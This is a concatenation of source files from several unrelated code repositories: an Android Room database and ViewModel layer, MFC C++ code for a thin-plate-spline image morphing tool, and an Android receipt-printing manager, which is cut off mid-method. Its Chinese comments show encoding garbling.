2018/4/13. */ @Database(entities = {User.class}, version = 1) @TypeConverters(DateConverter.class) public abstract class AppDatabase extends RoomDatabase { private static AppDatabase sInstance; public static final String DATABASE_NAME = "Mars"; public abstract UserDao userDao(); private final MutableLiveData<Boolean> mIsDatabaseCreated = new MutableLiveData<>(); public static AppDatabase getInstance(final Context context, final AppExecutors executors) { if (sInstance == null) { synchronized (AppDatabase.class) { if (sInstance == null) { sInstance = buildDatabase(context.getApplicationContext(), executors); sInstance.updateDatabaseCreated(context.getApplicationContext()); } } } return sInstance; } private static AppDatabase buildDatabase(final Context appContext, final AppExecutors executors) { return Room.databaseBuilder(appContext, AppDatabase.class, DATABASE_NAME) .addCallback(new Callback() { @Override public void onCreate(@NonNull SupportSQLiteDatabase db) { super.onCreate(db); executors.diskIO().execute(() -> { AppDatabase database = AppDatabase.getInstance(appContext, executors); // Time consuming task // notify that the database was created and it's ready to be used database.setDatabaseCreated(); }); } }).build(); } /** * Check whether the database already exists and expose it via {@link #getDatabaseCreated()} */ private void updateDatabaseCreated(final Context context) { if (context.getDatabasePath(DATABASE_NAME).exists()) { setDatabaseCreated(); } } private void setDatabaseCreated(){ mIsDatabaseCreated.postValue(true); } public LiveData<Boolean> getDatabaseCreated() { return mIsDatabaseCreated; } } ``` BaseViewModel.java ```package com.winning.marsarchitecture.viewmodel; import android.app.Application; import android.arch.lifecycle.AndroidViewModel; import android.arch.lifecycle.LiveData; import android.arch.lifecycle.MutableLiveData; import android.support.annotation.NonNull; import com.winning.marsarchitecture.datacenter.DataRepository; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Proxy; import java.util.regex.Matcher; import java.util.regex.Pattern; import io.reactivex.disposables.CompositeDisposable; import io.reactivex.subscribers.DisposableSubscriber; import static com.winning.marsarchitecture.util.Constants.PATH_URL; /** * Created by yuzhijun on 2018/4/12. */ public class BaseViewModel<T> extends AndroidViewModel implements IRequest<T>{ private static final Pattern pattern = Pattern.compile("\\{(.*?)\\}"); protected Application mApplication; //็”Ÿๅ‘ฝๅ‘จๆœŸ่ง‚ๅฏŸ็š„ๆ•ฐๆฎ private MutableLiveData<T> liveObservableData = new MutableLiveData<>(); public final CompositeDisposable mDisposable = new CompositeDisposable(); private static final MutableLiveData ABSENT = new MutableLiveData(); { //noinspection unchecked ABSENT.setValue(null); } public BaseViewModel(@NonNull Application application) { super(application); mApplication = application; } /** * LiveDataๆ”ฏๆŒไบ†lifecycle็”Ÿๅ‘ฝๅ‘จๆœŸๆฃ€ๆต‹ * @return */ public LiveData<T> getELiveObservableData(String url, String... params) { IRequest request = (IRequest) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{IRequest.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object object = null; try { String url = redirectParseMethodUrl(args); if (null != url){ object = getLiveObservableData(url); } }catch (Exception e){ e.printStackTrace(); } return object; } }); request.getLiveObservableData(url,params); return liveObservableData; } public LiveData<T> getLiveObservableData(String url,String...params) { DataRepository.getDynamicData(url,getTClass()) .subscribeWith(new DisposableSubscriber<T>() { @Override public void onNext(T value) { if(null != value){ liveObservableData.setValue(value); } } @Override public void onError(Throwable t) { } @Override public void onComplete() { } }); return liveObservableData; } private String redirectParseMethodUrl(Object[] args){ if (null != args && args.length > 0){ String url = (String) args[0]; boolean isPath = false; if (null != url){ isPath = url.contains(PATH_URL); if (isPath){ return parseMethodUrlPath(args); }else{ return parseMethodUrlKey(args); } } } return ""; } private String parseMethodUrlKey(Object[] args){ String baseUrl = ""; if (null != args && args.length > 0){ String url = (String) args[0]; int index = url.indexOf("{"); if (index > 0){ baseUrl = url.substring(0,index-1); Matcher matcher = pattern.matcher(url); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("?"); for (int i = 0;matcher.find();i++){ String key = matcher.group(); String realKey = key.substring(key.indexOf("{")+1,key.lastIndexOf("}")); Object[] value = (Object[]) args[1]; if (value != null){ stringBuilder.append(realKey+"="+value[i]+ "&"); } } baseUrl += stringBuilder.toString(); } } return baseUrl; } private String parseMethodUrlPath(Object[] args) { String url = ""; if (null != args && args.length > 0){ url = (String) args[0]; url = url.substring(0,url.lastIndexOf("/") - 1); Matcher matcher = pattern.matcher(url); for (int i = 0;matcher.find();i++){ Object[] value = (Object[]) args[1]; String key = matcher.group(); if (null != value){ url = url.replace(key,(String)value[i]); } } } return url; } public Class<T> getTClass(){ Class<T> tClass = (Class<T>)((ParameterizedType)getClass().getGenericSuperclass()).getActualTypeArguments()[0]; return tClass; } @Override protected void onCleared() { super.onCleared(); mDisposable.clear(); } } ``` DynamicGirlsViewModel.java ```package com.winning.marsarchitecture.viewmodel; import android.app.Application; import android.arch.lifecycle.LiveData; import android.arch.lifecycle.MutableLiveData; import android.support.annotation.NonNull; import com.winning.marsarchitecture.datacenter.GirlsResposity; import com.winning.marsarchitecture.datacenter.db.User; import com.winning.marsarchitecture.model.GirlsData; import io.reactivex.subscribers.DisposableSubscriber; public class DynamicGirlsViewModel extends BaseViewModel<GirlsData> { //็”Ÿๅ‘ฝๅ‘จๆœŸ่ง‚ๅฏŸ็š„ๆ•ฐๆฎ private MutableLiveData<GirlsData> mGirlsDataMutableLiveData = new MutableLiveData<>(); private MutableLiveData<User> mUserMutableLiveData = new MutableLiveData<>(); public DynamicGirlsViewModel(@NonNull Application application) { super(application); } public LiveData<GirlsData> getGirlsData(String size,String index) { GirlsResposity.getFuliData(size, index) .subscribeWith(new DisposableSubscriber<GirlsData>() { @Override public void onNext(GirlsData o) { if (null != o) { mGirlsDataMutableLiveData.setValue(o); } } @Override public void onError(Throwable t) { } @Override public void onComplete() { } }); return mGirlsDataMutableLiveData; } public LiveData<User> getUserData(){ GirlsResposity.getUserData(mApplication) .subscribeWith(new DisposableSubscriber<User>() { @Override public void onNext(User user) { if (null != user){ mUserMutableLiveData.setValue(user); } } @Override public void onError(Throwable t) { } @Override public void onComplete() { } }); return mUserMutableLiveData; } } ```
yuzhuqingyun/pheonixrt
yuzhuqingyun/pheonixrt resource.h ```//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by WarpTPS.rc // #define IDD_ABOUTBOX 100 #define IDD_MORPHSLIDER 103 #define IDR_MAINFRAME 128 #define IDR_WARPTPTYPE 129 #define IDC_SLIDER1 1000 #define IDC_SLIDER2 1001 #define IDC_STATIC_REFERENCE 1002 #define IDC_STATIC_TREATMENT 1003 #define IDC_CHECK_LOCK 1004 #define IDC_SLIDER3 1005 #define ID_BUTTON32771 32771 #define ID_SHOWMARKS 32772 #define ID_FILE_OPEN_IMAGES 32773 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_3D_CONTROLS 1 #define _APS_NEXT_RESOURCE_VALUE 130 #define _APS_NEXT_COMMAND_VALUE 32774 #define _APS_NEXT_CONTROL_VALUE 1006 #define _APS_NEXT_SYMED_VALUE 104 #endif #endif ``` WarpTPSView.h ```// WarpTPSView.h : interface of the CWarpTPSView class // ///////////////////////////////////////////////////////////////////////////// #if !defined(AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_) #define AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_ #include <DibView.h> // Added by ClassView #include <MorphSlider.h> #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 class CWarpTPSView : public CView { protected: // create from serialization only CWarpTPSView(); DECLARE_DYNCREATE(CWarpTPSView) // Attributes public: CWarpTPSDoc* GetDocument(); // Operations public: // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CWarpTPSView) public: virtual void OnDraw(CDC* pDC); // overridden to draw this view virtual BOOL PreCreateWindow(CREATESTRUCT& cs); virtual void OnInitialUpdate(); protected: virtual BOOL OnPreparePrinting(CPrintInfo* pInfo); virtual void OnBeginPrinting(CDC* pDC, CPrintInfo* pInfo); virtual void OnEndPrinting(CDC* pDC, CPrintInfo* pInfo); virtual void OnUpdate(CView* pSender, LPARAM lHint, CObject* pHint); //}}AFX_VIRTUAL // Implementation public: // returns the rectangle for the three views CRect GetRect(int nArea); // the subordinate views CDibView m_arrViews[3]; MorphSlider m_morphSlider; // the transform for the view CTPSTransform * m_pTransform; // the inverse transform for the view CTPSTransform * m_pInverseTransform; // destructor virtual ~CWarpTPSView(); #ifdef _DEBUG virtual void AssertValid() const; virtual void Dump(CDumpContext& dc) const; #endif protected: // Generated message map functions protected: //{{AFX_MSG(CWarpTPSView) afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); afx_msg void OnShowmarks(); afx_msg void OnUpdateShowmarks(CCmdUI* pCmdUI); afx_msg void OnFileOpenImages(); //}}AFX_MSG DECLARE_MESSAGE_MAP() }; #ifndef _DEBUG // debug version in WarpTPSView.cpp inline CWarpTPSDoc* CWarpTPSView::GetDocument() { return (CWarpTPSDoc*)m_pDocument; } #endif ///////////////////////////////////////////////////////////////////////////// //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_WARPTPSVIEW_H__2DAB2AE8_C5E5_497F_BC5F_159207454250__INCLUDED_) ``` MorphSlider.h ```#pragma once #include <TPSTransform.h> #include <Dib.h> #include <DibView.h> #include "afxcmn.h" #include "afxwin.h" // MorphSlider dialog class MorphSlider : public CDialog { DECLARE_DYNAMIC(MorphSlider) public: MorphSlider(CWnd* pParent = NULL); // standard constructor virtual ~MorphSlider(); CTPSTransform *m_pTransform; CTPSTransform *m_pInverseTransform; // various and sundry images CDib *m_pSourceImage; CDib *m_pDestinationImage; CDib *m_pWarpedSourceImage; CDib *m_pWarpedDestinationImage; CDib *m_pBlendedImage; CDibView *m_pWarpedView; float m_morphPercent; float m_blendPercent; // Dialog Data enum { IDD = IDD_MORPHSLIDER }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support DECLARE_MESSAGE_MAP() public: afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnBnClickedCheckLock(); // child controls CSliderCtrl m_morphSlider; CSliderCtrl m_blendSlider; CSliderCtrl m_rSlider; CButton m_checkLock; }; ``` WarpTPSView.cpp ```// WarpTPSView.cpp : implementation of the CWarpTPSView class // #include "stdafx.h" #include "WarpTPS.h" #include "WarpTPSDoc.h" #include "WarpTPSView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView IMPLEMENT_DYNCREATE(CWarpTPSView, CView) BEGIN_MESSAGE_MAP(CWarpTPSView, CView) //{{AFX_MSG_MAP(CWarpTPSView) ON_WM_SIZE() ON_WM_CREATE() ON_COMMAND(ID_SHOWMARKS, OnShowmarks) ON_UPDATE_COMMAND_UI(ID_SHOWMARKS, OnUpdateShowmarks) ON_COMMAND(ID_FILE_OPEN_IMAGES, OnFileOpenImages) //}}AFX_MSG_MAP // Standard printing commands ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint) ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView::OnFilePrintPreview) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView construction/destruction CWarpTPSView::CWarpTPSView() : m_pTransform(NULL) , m_pInverseTransform(NULL) { } CWarpTPSView::~CWarpTPSView() { } BOOL CWarpTPSView::PreCreateWindow(CREATESTRUCT& cs) { // TODO: Modify the Window class or styles here by modifying // the CREATESTRUCT cs return CView::PreCreateWindow(cs); } ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView drawing void CWarpTPSView::OnDraw(CDC* pDC) { CWarpTPSDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); } ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView printing BOOL CWarpTPSView::OnPreparePrinting(CPrintInfo* pInfo) { // default preparation return DoPreparePrinting(pInfo); } void CWarpTPSView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/) { // TODO: add extra initialization before printing } void CWarpTPSView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/) { // TODO: add cleanup after printing } ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView diagnostics #ifdef _DEBUG void CWarpTPSView::AssertValid() const { CView::AssertValid(); } void CWarpTPSView::Dump(CDumpContext& dc) const { CView::Dump(dc); } CWarpTPSDoc* CWarpTPSView::GetDocument() // non-debug version is inline { ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CWarpTPSDoc))); return (CWarpTPSDoc*)m_pDocument; } #endif //_DEBUG ///////////////////////////////////////////////////////////////////////////// // CWarpTPSView message handlers void CWarpTPSView::OnInitialUpdate() { // set the document for the views m_arrViews[0].SetDocument(GetDocument()); m_arrViews[0].SetDib(GetDocument()->GetImage(ImageRole::DestinationImage)); m_arrViews[1].SetDocument(GetDocument()); m_arrViews[1].SetDib(GetDocument()->GetImage(ImageRole::BlendedImage)); m_arrViews[2].SetDocument(GetDocument()); m_arrViews[2].SetDib(GetDocument()->GetImage(ImageRole::SourceImage)); CView::OnInitialUpdate(); } CRect CWarpTPSView::GetRect(int nArea) { CRect rectClient; GetClientRect(&rectClient); rectClient.DeflateRect(10, 10, 10, 10); //rectClient.right = rectClient.Height(); // compute the rectangle CRect rect(rectClient); rect.left = 5 + (nArea % 2) * (rectClient.Width() / 2); rect.right = rect.left + (rectClient.Width() / 2 - 5); rect.top = 5 + nArea / 2 * rectClient.Height() / 2; rect.bottom = rect.top + rect.Width(); // assume square image return rect; } void CWarpTPSView::OnSize(UINT nType, int cx, int cy) { CView::OnSize(nType, cx, cy); CRect rect = GetRect(0); m_arrViews[0].MoveWindow(&rect); rect = GetRect(1); m_arrViews[1].MoveWindow(&rect); rect = GetRect(3); m_arrViews[2].MoveWindow(&rect); rect = GetRect(2); m_morphSlider.MoveWindow(&rect); } int CWarpTPSView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CView::OnCreate(lpCreateStruct) == -1) return -1; CRect rect = GetRect(0); if (!m_arrViews[0].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0)) return -1; rect = GetRect(1); if (!m_arrViews[1].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0)) return -1; rect = GetRect(3); if (!m_arrViews[2].Create(NULL, NULL, WS_VISIBLE | WS_CHILD | WS_BORDER, rect, this, 0)) return -1; if (!m_morphSlider.Create(IDD_MORPHSLIDER, this)) return -1; rect = GetRect(2); m_morphSlider.SetWindowPos(NULL, rect.left, rect.top, rect.Width(), rect.Height(), SWP_SHOWWINDOW); return 0; } void CWarpTPSView::OnUpdate(CView* pSender, LPARAM lHint, CObject* pHint) { // set the pointer to transform m_pTransform = GetDocument()->GetTransform(); m_pInverseTransform = GetDocument()->GetInverseTransform(); if (m_pTransform) { CWaitCursor *pWaitCursor = NULL; if (m_pTransform->GetLandmarkCount() > 10) { pWaitCursor = new CWaitCursor; } // now resample the center image TRACE("OnUpdate/Resample"); m_pTransform->Resample(GetDocument()->GetImage(ImageRole::SourceImage), GetDocument()->GetImage(ImageRole::WarpedSourceImage), m_morphSlider.m_morphPercent); // update the inverse transform to document image 3 m_pInverseTransform->Resample(GetDocument()->GetImage(ImageRole::DestinationImage), GetDocument()->GetImage(ImageRole::WarpedDestinationImage), 1.0); GetDocument()->GetImage(ImageRole::BlendedImage)->CopyPixels( GetDocument()->GetImage(ImageRole::WarpedSourceImage)); GetDocument()->GetImage(ImageRole::BlendedImage)->BlendPixels( GetDocument()->GetImage(ImageRole::WarpedDestinationImage), m_morphSlider.m_blendPercent); delete pWaitCursor; } ASSERT(m_arrViews[0].GetDib() == GetDocument()->GetImage(ImageRole::DestinationImage)); m_arrViews[0].SetDib(GetDocument()->GetImage(ImageRole::DestinationImage)); m_arrViews[0].SetTransform(m_pTransform, m_pInverseTransform, 0); ASSERT(m_arrViews[1].GetDib() == GetDocument()->GetImage(ImageRole::BlendedImage)); m_arrViews[1].SetDib(GetDocument()->GetImage(ImageRole::BlendedImage)); m_arrViews[1].SetTransform(m_pTransform, m_pInverseTransform, 0); ASSERT(m_arrViews[2].GetDib() == GetDocument()->GetImage(ImageRole::SourceImage)); m_arrViews[2].SetDib(GetDocument()->GetImage(ImageRole::SourceImage)); m_arrViews[2].SetTransform(m_pTransform, m_pInverseTransform, 1); m_morphSlider.m_pTransform = m_pTransform; m_morphSlider.m_pInverseTransform = m_pInverseTransform; m_morphSlider.m_pWarpedView = &m_arrViews[1]; // set up the images // TODO: give these more meaningful access via an enum m_morphSlider.m_pSourceImage = GetDocument()->GetImage(ImageRole::SourceImage); m_morphSlider.m_pWarpedSourceImage = GetDocument()->GetImage(ImageRole::WarpedSourceImage); m_morphSlider.m_pDestinationImage = GetDocument()->GetImage(ImageRole::DestinationImage); m_morphSlider.m_pWarpedDestinationImage = GetDocument()->GetImage(ImageRole::WarpedDestinationImage); m_morphSlider.m_pBlendedImage = GetDocument()->GetImage(ImageRole::BlendedImage); Invalidate(FALSE); } void CWarpTPSView::OnShowmarks() { m_arrViews[0].m_bDrawMarks = !m_arrViews[0].m_bDrawMarks; m_arrViews[0].Invalidate(FALSE); m_arrViews[1].m_bDrawMarks = m_arrViews[0].m_bDrawMarks; m_arrViews[1].Invalidate(FALSE); m_arrViews[2].m_bDrawMarks = m_arrViews[0].m_bDrawMarks; m_arrViews[2].Invalidate(FALSE); } void CWarpTPSView::OnUpdateShowmarks(CCmdUI* pCmdUI) { pCmdUI->SetCheck(m_arrViews[0].m_bDrawMarks ? 1 : 0); } void CWarpTPSView::OnFileOpenImages() { CFileDialog imageFileOpen1(TRUE, _T("bmp"), NULL, OFN_HIDEREADONLY, NULL, ::AfxGetMainWnd()); CFileDialog imageFileOpen2(TRUE, _T("bmp"), NULL, OFN_HIDEREADONLY, NULL, ::AfxGetMainWnd()); if (IDOK == imageFileOpen1.DoModal() && IDOK == imageFileOpen2.DoModal()) { // open the files if (GetDocument()->LoadImages(imageFileOpen1.GetPathName(), imageFileOpen2.GetPathName())) { // set up some corner landmarks GetDocument()->InitCornerLandmarks(); // invalidate everything Invalidate(TRUE); // redraw the window GetDocument()->UpdateAllViews(NULL); } } } ``` TPSTransform.h ```////////////////////////////////////////////////////////////////////// // TPSTransform.h: interface for the CTPSTransform class. // // Copyright (C) 2002 // $Id: TPSTransform.h,v 1.3 2003/04/26 20:52:39 default Exp $ ////////////////////////////////////////////////////////////////////// #if !defined(AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_) #define AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #ifdef _FIELDCOM #include "FieldCOM.h" #endif // container vector for the landmarks #include <vector> using namespace std; // vector includes #include <VectorD.h> #include <VectorN.h> // matrix #include <MatrixNxM.h> // model object base class #include <ModelObject.h> // Dib for resampling #include <Dib.h> ////////////////////////////////////////////////////////////////////// // class CTPSTransform // // represents a basic TPS transform. holds a collection of position // vector pairs and interpolates the field from those ////////////////////////////////////////////////////////////////////// class CTPSTransform : public CModelObject #ifdef _FIELDCOM , public IField #endif { public: // construction/destruction CTPSTransform(); virtual ~CTPSTransform(); // landmark accessors int GetLandmarkCount(); const CVectorD<3>& GetLandmark(int nDataSet, int nIndex); void SetLandmark(int nDataSet, int nIndex, const CVectorD<3>& vLandmark); // functions to add landmark points int AddLandmark(const CVectorD<3>& vLandmark); int AddLandmark(const CVectorD<3>& vLandmark1, const CVectorD<3>& vLandmark2); // removes all landmarks from the transform void RemoveAllLandmarks(); // sets the r-param void SetRExponent(float r_exp) { m_r_exp = r_exp; m_bRecalc = TRUE; m_bRecalcPresample = TRUE; } void SetK(float k) { m_k = k; m_bRecalc = TRUE; m_bRecalcPresample = TRUE; } // evaluates the field at a point // returns the offset vector, so the mapped point can be derived by adding the position and offset void Eval(const CVectorD<3>& vPos, CVectorD<3>& vOffset, float percent); // resamples an image based on the field void Resample(CDib *pImageSrc, CDib *pImageDst, float percent); // helper to check that another transform is set up as the inverse of this one BOOL CheckInverse(CTPSTransform* pInverse); protected: // recalculates the TPS from the landmarks void RecalcWeights(); // used to construct the presampled vector field void Presample(int width, int height); private: // the array of landmarks vector< CVectorD<3> > m_arrLandmarks[2]; // represents the pre-sampled array vector< CVectorD<3> > m_presampledOffsets; int m_presampledWidth; int m_presampledHeight; // stores the inverse of the distance matrix CMatrixNxM<> m_mL_inv; // the final weight vectors CVectorN<> m_vWx; CVectorN<> m_vWy; // the radial basis exponent float m_r_exp; float m_k; // flag to indicate that recalculation of the TPS is needed BOOL m_bRecalcMatrix; BOOL m_bRecalc; BOOL m_bRecalcPresample; }; #endif // !defined(AFX_TPSTRANSFORM_H__AD843B49_3C65_4573_B2D5_9C258B29969B__INCLUDED_) ``` DibView.h ```////////////////////////////////////////////////////////////////////// // DibView.h: interface for the CDibView class. // // Copyright (C) 2002 // $Id: DibView.h,v 1.3 2003/11/01 01:40:01 default Exp $ ////////////////////////////////////////////////////////////////////// #if !defined(AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_) #define AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include <VectorD.h> #include <Dib.h> #include "TPSTransform.h" ////////////////////////////////////////////////////////////////////// // class CDibView // // window that displays a particular DIB and allows the user to place // landmarks that are added to a CTPSTransform. ////////////////////////////////////////////////////////////////////// class CDibView : public CWnd { // Construction public: CDibView(); // Attributes public: // sets the document that is being displayed by this CDibView void SetDocument(CDocument *pDoc); // sets the DIB to be displayed CDib* GetDib() { return m_pDib; } void SetDib(CDib *pDib); // sets the transform to be managed void SetTransform(CTPSTransform *pForwardTransform, CTPSTransform *pInverseTransform, int nDataSet); // Operations public: // returns the images destination rectangle CRect GetDstRect(); // conversion image <-> client coordinates CPoint Image2Client(const CVectorD<3>& vImage); CVectorD<3> Client2Image(const CPoint& ptClient); // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CDibView) //}}AFX_VIRTUAL // Implementation public: BOOL m_bDrawMarks; virtual ~CDibView(); // Generated message map functions protected: //{{AFX_MSG(CDibView) afx_msg void OnPaint(); afx_msg void OnMouseMove(UINT nFlags, CPoint point); afx_msg void OnLButtonDown(UINT nFlags, CPoint point); afx_msg void OnLButtonUp(UINT nFlags, CPoint point); //}}AFX_MSG DECLARE_MESSAGE_MAP() private: // the document (for calling Update) CDocument * m_pDoc; // pointer to the image to be displayed CDib * m_pDib; // the TPS that is being managed by the view CTPSTransform * m_pTransform; CTPSTransform * m_pInverseTransform; int m_nDataSet; // viewing transform CVectorD<2> m_vOffset; double m_scale; // handles landmark dragging int m_nDraggingLandmark; CPoint m_ptPrev; }; ///////////////////////////////////////////////////////////////////////////// //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_DIBVIEW_H__82A024A5_F229_4D54_AC0C_53BDCEFEF58D__INCLUDED_) ```
yuzian/WangWang
yuzian/WangWang LianDiA8PrintManager.java ```package com.yunjiangzhe.wangwang.printer.a8; import android.app.Activity; import android.content.ComponentName; import android.content.Intent; import android.text.TextUtils; import com.qiyu.ble.BLE; import com.qiyu.ble.PrintUtils; import com.qiyu.share.Share; import com.qiyu.util.CopyObjectUtil; import com.qiyu.util.DateUtils; import com.qiyu.util.L; import com.qiyu.util.NumberFormat; import com.qiyu.util.PackageDetailUtils; import com.qiyu.util.StringUtil; import com.yunjiangzhe.wangwang.R; import com.yunjiangzhe.wangwang.base.AppEnumHelp; import com.yunjiangzhe.wangwang.bean.ServiceTextBean; import com.yunjiangzhe.wangwang.match.IPrintManager; import com.yunjiangzhe.wangwang.response.bean.OrderDetail; import com.yunjiangzhe.wangwang.response.bean.OrderMain; import com.yunjiangzhe.wangwang.response.bean.PayWayBean; import com.yunjiangzhe.wangwang.response.bean.PreferentialDetail; import com.yunjiangzhe.wangwang.response.bean.QRCodeBean; import com.yunjiangzhe.wangwang.response.data.OrderCollectData; import com.yunjiangzhe.wangwang.response.data.OrderSummaryData; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.io.OutputStream; import java.util.ArrayList; import java.util.Date; import java.util.List; import rx.Observable; import rx.android.schedulers.AndroidSchedulers; import rx.functions.Func1; import rx.schedulers.Schedulers; import static com.qiyu.util.App.getStr; import static com.qiyu.util.NumberFormat.dTs; public class LianDiA8PrintManager extends IPrintManager { private int length_1 = 20; private int length_2 = 6; private int length_3 = 10; public final static int REQUEST_CODE_PRINT_ONE = 100; public final static int REQUEST_CODE_PRINT_TWO = 101; private boolean isFrist = true; //ๆ˜ฏๅฆๆ˜ฏๆ‰“ๅฐ็ฌฌไธ€่” private static LianDiA8PrintManager instance; private static final int Restaurant_Name_FontSize = 2;//่ฎพ็ฝฎๆ‰“ๅฐ้ค้ฆ†ๅ็งฐ็š„ๅญ—ไฝ“ๅคงๅฐ private static final int DESK_Num_FontSize = 5;//่ฎพ็ฝฎๆŽ’้˜Ÿๅท็ ็š„ๅญ—ไฝ“ๅคงๅฐ private static final String MTPackageName = "com.sankuai.poscashier"; private static final String MTPrintName = "com.sankuai.poscashier.activity.PrintActivity"; public static LianDiA8PrintManager getInstance() { if (instance == null) { synchronized (LianDiA8PrintManager.class) { if (instance == null) { instance = new LianDiA8PrintManager(); } } } return instance; } /** * ๆŽ’้˜Ÿๆ‰“ๅฐ * * @param activity * @param restaurantName ้ค้ฆ†ๅ * @param number ๅฝ“ๅ‰ๅท็  * @param wait ็ญ‰ๅพ…ไบบๆ•ฐ */ @Override public void printListNumber(Activity activity, String restaurantName, String number, int wait) { showDialog(activity); //่ฎพ็ฝฎๆ‰“ๅฐJSONArrayๆ•ฐๆฎ JSONArray arr = new JSONArray(); try { //ๆ‰“ๅฐ้ค้ฆ†ๅ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (restaurantName))); //ๆ‰“ๅฐๅ‰ๅŠๅ†…ๅฎน String content1 = "-------------------------------"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content1));//ๅˆ†ๅ‰ฒ็บฟ String content2 = "ๆ‚จ็š„ๆŽ’้˜Ÿๅท็ ไธบ:"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content2)); //ๆ‰“ๅฐๅท็  arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); String numStr = ""; int numSpace = 8 - number.length() + 2; for (int i = 0; i < numSpace; i++) { numStr += " "; } numStr += number + "ๅท"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", DESK_Num_FontSize).put("content", numStr)); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); //ๆ‰“ๅฐๅŽๅŠๅ†…ๅฎน arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content1));//ๅˆ†ๅ‰ฒ็บฟ String content4 = "ๆ‚จ็š„ๅ‰้ข่ฟ˜ๆœ‰ " + wait + " ไบบๅœจ็ญ‰ๅพ…"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content4)); String content5 = DateUtils.format(new Date(), "yyyy-MM-dd HH:mm"); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content5)); String content6 = "่ฏท่€ๅฟƒ็•™ๆ„ๅซๅท ่ฟ‡ๅทไฝœๅบŸ"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content6)); for (int i = 0; i < 5; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivity(intent); } catch (JSONException e) { e.printStackTrace(); } } /** * ๅŠ ่œๅ•ๆ‰“ๅฐ -- ่“็‰™ๆ‰“ๅฐๆœบ * * @param activity * @param isShowDialog * @param mOrderMain ่ฎขๅ•ๅŸบๆœฌไฟกๆฏ * @param printTimes ๆ‰“ๅฐๆฌกๆ•ฐ */ @Override public void printAddOrder(Activity activity, boolean isShowDialog, OrderMain mOrderMain, int printTimes) { if (isShowDialog) { showDialog(activity); } OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain); printOrderOrAddOrder(orderMain, printTimes, 1); /* BLE.get().init().connectDeviceByAddr(); for (int i = 1; i <= printTimes; i++) printAddOrderDataForBlue(orderMain);*/ // JSONArray arr = new JSONArray(); // for (int i = 1; i <= printTimes; i++) // { // //่ฎพ็ฝฎๆ‰“ๅฐJSONArrayๆ•ฐๆฎ // printAddOrderData(arr, orderMain); // } // Intent intent = new Intent(); // intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); // intent.putExtra("lines", arr.toString()); // activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } /** * ๆ‰“ๅฐๅŠ ่œๅ•ๆจกๆฟ -- ่“็‰™ */ private void printAddOrderDataForBlue(OrderMain 